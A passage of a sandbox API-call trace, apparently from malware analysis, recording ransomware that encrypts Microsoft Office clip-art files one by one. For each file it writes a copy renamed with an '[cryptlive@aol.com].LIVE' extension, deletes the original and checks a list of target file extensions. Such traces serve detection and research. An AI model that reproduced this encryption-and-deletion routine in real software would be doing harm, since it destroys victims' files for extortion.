1 [0145.439] CloseHandle (hObject=0x328) returned 1 [0145.439] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00236_.WMF.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0145.439] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00236_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00236_.wmf")) returned 1 [0145.439] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00236_.WMF") returned 63 [0145.440] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00236_.WMF") returned 63 [0145.440] lstrlenW (lpString=".doc") returned 4 [0145.440] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0145.440] lstrlenW (lpString=".docx") returned 5 [0145.440] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0145.440] lstrlenW (lpString=".pdf") returned 4 [0145.440] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0145.440] lstrlenW (lpString=".xls") returned 4 [0145.440] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0145.440] lstrlenW (lpString=".xlsx") returned 5 [0145.440] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0145.440] lstrlenW (lpString=".ppt") returned 4 [0145.440] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0145.440] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00236_.WMF") returned 63 [0145.440] lstrlenW (lpString=".zip") returned 4 [0145.440] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0145.440] lstrlenW (lpString=".rar") returned 4 [0145.440] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0145.440] lstrlenW (lpString=".bz2") returned 4 [0145.440] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0145.440] lstrlenW (lpString=".7z") returned 3 [0145.440] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0145.440] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00236_.WMF") returned 63 [0145.440] lstrlenW (lpString=".dbf") returned 4 [0145.440] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0145.440] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00236_.WMF") returned 63 [0145.440] lstrlenW (lpString=".1cd") returned 4 [0145.440] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0145.440] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00236_.WMF") returned 63 [0145.440] lstrlenW (lpString=".jpg") returned 4 [0145.440] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0145.440] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00236_.WMF") returned 63 [0145.440] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00236_.WMF") returned 63 [0145.440] lstrlenW (lpString=".doc") returned 4 [0145.440] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0145.440] lstrlenW (lpString=".docx") returned 5 [0145.441] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0145.441] lstrlenW (lpString=".pdf") returned 4 [0145.441] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0145.441] lstrlenW (lpString=".xls") returned 4 [0145.441] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0145.441] lstrlenW (lpString=".xlsx") returned 5 [0145.441] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0145.441] lstrlenW (lpString=".ppt") returned 4 [0145.441] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0145.441] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00236_.WMF") returned 63 [0145.441] lstrlenW (lpString=".zip") returned 4 [0145.441] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0145.441] lstrlenW (lpString=".rar") returned 4 [0145.441] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0145.441] lstrlenW (lpString=".bz2") returned 4 [0145.441] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0145.441] lstrlenW (lpString=".7z") returned 3 [0145.441] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0145.441] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00236_.WMF") returned 63 [0145.441] lstrlenW (lpString=".dbf") returned 4 [0145.441] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0145.441] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00236_.WMF") returned 63 [0145.441] lstrlenW (lpString=".1cd") returned 4 [0145.441] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0145.441] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00236_.WMF") returned 63 [0145.441] lstrlenW (lpString=".jpg") returned 4 [0145.441] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0145.441] lstrcmpiW (lpString1=".WMF", lpString2=".LIVE") returned 1 [0145.441] lstrlenW (lpString="HH00241_.WMF") returned 12 [0145.441] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00241_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00241_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x328 [0145.442] GetFileSizeEx (in: hFile=0x328, lpFileSize=0x2ecff1c | out: lpFileSize=0x2ecff1c*=1960) returned 1 [0145.442] CloseHandle (hObject=0x328) returned 1 [0145.442] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00241_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00241_.wmf")) returned 0x20 [0145.442] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00241_.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00241_.wmf.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0145.442] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00241_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00241_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x328 [0145.442] SetFilePointerEx (in: hFile=0x328, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0145.442] SetFilePointerEx (in: hFile=0x328, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0145.442] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00241_.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00241_.wmf.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3d0 [0145.443] GetLastError () returned 0x0 [0145.443] ReadFile (in: hFile=0x328, lpBuffer=0x3790020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ecfed4, lpOverlapped=0x0 | out: lpBuffer=0x3790020*, lpNumberOfBytesRead=0x2ecfed4*=0x7a8, lpOverlapped=0x0) returned 1 [0145.676] WriteFile (in: hFile=0x3d0, lpBuffer=0x3790020*, nNumberOfBytesToWrite=0x7b0, lpNumberOfBytesWritten=0x2ecfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3790020*, lpNumberOfBytesWritten=0x2ecfc9c*=0x7b0, lpOverlapped=0x0) returned 1 [0145.919] ReadFile (in: hFile=0x328, lpBuffer=0x3790020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ecfed4, lpOverlapped=0x0 | out: lpBuffer=0x3790020*, lpNumberOfBytesRead=0x2ecfed4*=0x0, lpOverlapped=0x0) returned 1 [0145.919] WriteFile (in: hFile=0x3d0, lpBuffer=0x3790020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2ecfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3790020*, lpNumberOfBytesWritten=0x2ecfc9c*=0xec, lpOverlapped=0x0) returned 1 [0145.920] SetEndOfFile (hFile=0x3d0) returned 1 [0145.920] CloseHandle (hObject=0x3d0) returned 1 [0145.920] SetFilePointerEx (in: hFile=0x328, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0145.920] SetEndOfFile (hFile=0x328) returned 1 [0145.922] CloseHandle (hObject=0x328) returned 1 [0145.922] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00241_.WMF.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0145.923] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00241_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00241_.wmf")) returned 1 [0145.924] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00241_.WMF") returned 63 [0145.924] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00241_.WMF") returned 63 [0145.924] lstrlenW (lpString=".doc") returned 4 [0145.924] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0145.924] lstrlenW (lpString=".docx") returned 5 [0145.924] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0145.924] lstrlenW (lpString=".pdf") returned 4 [0145.924] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0145.924] lstrlenW (lpString=".xls") returned 4 [0145.924] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0145.924] lstrlenW (lpString=".xlsx") returned 5 [0145.924] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0145.924] lstrlenW (lpString=".ppt") returned 4 [0145.924] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0145.924] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00241_.WMF") returned 63 [0145.924] lstrlenW (lpString=".zip") returned 4 [0145.924] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0145.924] lstrlenW (lpString=".rar") returned 4 [0145.924] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0145.924] lstrlenW (lpString=".bz2") returned 4 [0145.924] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0145.924] lstrlenW (lpString=".7z") returned 3 [0145.924] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0145.924] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00241_.WMF") returned 63 [0145.925] lstrlenW (lpString=".dbf") returned 4 [0145.925] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0145.925] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00241_.WMF") returned 63 [0145.925] lstrlenW (lpString=".1cd") returned 4 [0145.925] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0145.925] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00241_.WMF") returned 63 [0145.925] lstrlenW (lpString=".jpg") returned 4 [0145.925] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0145.925] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00241_.WMF") returned 63 [0145.925] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00241_.WMF") returned 63 [0145.925] lstrlenW (lpString=".doc") returned 4 [0145.925] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0145.925] lstrlenW (lpString=".docx") returned 5 [0145.925] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0145.925] lstrlenW (lpString=".pdf") returned 4 [0145.925] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0145.925] lstrlenW (lpString=".xls") returned 4 [0145.925] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0145.925] lstrlenW (lpString=".xlsx") returned 5 [0145.925] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0145.925] lstrlenW (lpString=".ppt") returned 4 [0145.925] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0145.925] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00241_.WMF") returned 63 [0145.925] lstrlenW (lpString=".zip") returned 4 [0145.925] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0145.925] lstrlenW (lpString=".rar") returned 4 [0145.925] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0145.925] lstrlenW (lpString=".bz2") returned 4 [0145.925] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0145.925] lstrlenW (lpString=".7z") returned 3 [0145.925] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0145.925] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00241_.WMF") returned 63 [0145.925] lstrlenW (lpString=".dbf") returned 4 [0145.925] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0145.926] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00241_.WMF") returned 63 [0145.926] lstrlenW (lpString=".1cd") returned 4 [0145.926] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0145.926] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00241_.WMF") returned 63 [0145.926] lstrlenW (lpString=".jpg") returned 4 [0145.926] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0145.926] lstrcmpiW (lpString1=".WMF", lpString2=".LIVE") returned 1 [0145.926] lstrlenW (lpString="HH00669_.WMF") returned 12 [0145.926] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00669_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00669_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x328 [0145.926] GetFileSizeEx (in: hFile=0x328, lpFileSize=0x2ecff1c | out: lpFileSize=0x2ecff1c*=11490) returned 1 [0145.926] CloseHandle (hObject=0x328) returned 1 [0145.926] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00669_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00669_.wmf")) returned 0x20 [0145.926] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00669_.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00669_.wmf.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0145.927] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00669_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00669_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x328 [0145.927] SetFilePointerEx (in: hFile=0x328, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0145.927] SetFilePointerEx (in: hFile=0x328, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0145.927] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00669_.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00669_.wmf.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3d0 [0145.928] GetLastError () returned 0x0 [0145.928] ReadFile (in: hFile=0x328, lpBuffer=0x3790020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ecfed4, lpOverlapped=0x0 | out: lpBuffer=0x3790020*, lpNumberOfBytesRead=0x2ecfed4*=0x2ce2, lpOverlapped=0x0) returned 1 [0145.929] WriteFile (in: hFile=0x3d0, lpBuffer=0x3790020*, nNumberOfBytesToWrite=0x2cf0, lpNumberOfBytesWritten=0x2ecfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3790020*, lpNumberOfBytesWritten=0x2ecfc9c*=0x2cf0, lpOverlapped=0x0) returned 1 [0145.930] ReadFile (in: hFile=0x328, lpBuffer=0x3790020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ecfed4, lpOverlapped=0x0 | out: lpBuffer=0x3790020*, lpNumberOfBytesRead=0x2ecfed4*=0x0, lpOverlapped=0x0) returned 1 [0145.930] WriteFile (in: hFile=0x3d0, lpBuffer=0x3790020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2ecfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3790020*, lpNumberOfBytesWritten=0x2ecfc9c*=0xec, lpOverlapped=0x0) returned 1 [0145.931] SetEndOfFile (hFile=0x3d0) returned 1 [0145.931] CloseHandle (hObject=0x3d0) returned 1 [0145.931] SetFilePointerEx (in: hFile=0x328, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0145.931] SetEndOfFile (hFile=0x328) returned 1 [0145.934] CloseHandle (hObject=0x328) returned 1 [0145.934] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00669_.WMF.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0145.935] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00669_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00669_.wmf")) returned 1 [0145.935] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00669_.WMF") returned 63 [0145.935] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00669_.WMF") returned 63 [0145.935] lstrlenW (lpString=".doc") returned 4 [0145.935] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0145.935] lstrlenW (lpString=".docx") returned 5 [0145.935] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0145.935] lstrlenW (lpString=".pdf") returned 4 [0145.935] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0145.936] lstrlenW (lpString=".xls") returned 4 [0145.936] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0145.936] lstrlenW (lpString=".xlsx") returned 5 [0145.936] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0145.936] lstrlenW (lpString=".ppt") returned 4 [0145.936] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0145.936] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00669_.WMF") returned 63 [0145.936] lstrlenW (lpString=".zip") returned 4 [0145.936] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0145.936] lstrlenW (lpString=".rar") returned 4 [0145.936] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0145.936] lstrlenW (lpString=".bz2") returned 4 [0145.936] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0145.936] lstrlenW (lpString=".7z") returned 3 [0145.936] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0145.936] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00669_.WMF") returned 63 [0145.936] lstrlenW (lpString=".dbf") returned 4 [0145.936] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0145.936] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00669_.WMF") returned 63 [0145.936] lstrlenW (lpString=".1cd") returned 4 [0145.936] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0145.936] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00669_.WMF") returned 63 [0145.936] lstrlenW (lpString=".jpg") returned 4 [0145.936] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0145.936] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00669_.WMF") returned 63 [0145.936] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00669_.WMF") returned 63 [0145.936] lstrlenW (lpString=".doc") returned 4 [0145.936] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0145.936] lstrlenW (lpString=".docx") returned 5 [0145.936] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0145.936] lstrlenW (lpString=".pdf") returned 4 [0145.936] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0145.936] lstrlenW (lpString=".xls") returned 4 [0145.936] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0145.936] lstrlenW (lpString=".xlsx") returned 5 [0145.936] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0145.937] lstrlenW (lpString=".ppt") returned 4 [0145.937] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0145.937] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00669_.WMF") returned 63 [0145.937] lstrlenW (lpString=".zip") returned 4 [0145.937] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0145.937] lstrlenW (lpString=".rar") returned 4 [0145.937] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0145.937] lstrlenW (lpString=".bz2") returned 4 [0145.937] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0145.937] lstrlenW (lpString=".7z") returned 3 [0145.937] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0145.937] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00669_.WMF") returned 63 [0145.937] lstrlenW (lpString=".dbf") returned 4 [0145.937] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0145.937] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00669_.WMF") returned 63 [0145.937] lstrlenW (lpString=".1cd") returned 4 [0145.937] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0145.937] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00669_.WMF") returned 63 [0145.937] lstrlenW (lpString=".jpg") returned 4 [0145.937] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0145.937] lstrcmpiW (lpString1=".WMF", lpString2=".LIVE") returned 1 [0145.937] lstrlenW (lpString="HH00681_.WMF") returned 12 [0145.937] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00681_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00681_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x328 [0145.938] GetFileSizeEx (in: hFile=0x328, lpFileSize=0x2ecff1c | out: lpFileSize=0x2ecff1c*=9300) returned 1 [0145.938] CloseHandle (hObject=0x328) returned 1 [0145.938] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00681_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00681_.wmf")) returned 0x20 [0145.938] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00681_.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00681_.wmf.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0145.938] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00681_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00681_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x328 [0145.938] SetFilePointerEx (in: hFile=0x328, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0145.938] SetFilePointerEx (in: hFile=0x328, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0145.938] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00681_.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00681_.wmf.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3d0 [0145.939] GetLastError () returned 0x0 [0145.939] ReadFile (in: hFile=0x328, lpBuffer=0x3790020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ecfed4, lpOverlapped=0x0 | out: lpBuffer=0x3790020*, lpNumberOfBytesRead=0x2ecfed4*=0x2454, lpOverlapped=0x0) returned 1 [0145.941] WriteFile (in: hFile=0x3d0, lpBuffer=0x3790020*, nNumberOfBytesToWrite=0x2460, lpNumberOfBytesWritten=0x2ecfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3790020*, lpNumberOfBytesWritten=0x2ecfc9c*=0x2460, lpOverlapped=0x0) returned 1 [0145.942] ReadFile (in: hFile=0x328, lpBuffer=0x3790020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ecfed4, lpOverlapped=0x0 | out: lpBuffer=0x3790020*, lpNumberOfBytesRead=0x2ecfed4*=0x0, lpOverlapped=0x0) returned 1 [0145.942] WriteFile (in: hFile=0x3d0, lpBuffer=0x3790020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2ecfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3790020*, lpNumberOfBytesWritten=0x2ecfc9c*=0xec, lpOverlapped=0x0) returned 1 [0145.942] SetEndOfFile (hFile=0x3d0) returned 1 [0145.942] CloseHandle (hObject=0x3d0) returned 1 [0145.942] SetFilePointerEx (in: hFile=0x328, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0145.942] SetEndOfFile (hFile=0x328) returned 1 [0145.944] CloseHandle (hObject=0x328) returned 1 [0145.944] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00681_.WMF.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0145.945] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00681_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00681_.wmf")) returned 1 [0145.945] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00681_.WMF") returned 63 [0145.945] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00681_.WMF") returned 63 [0145.945] lstrlenW (lpString=".doc") returned 4 [0145.945] 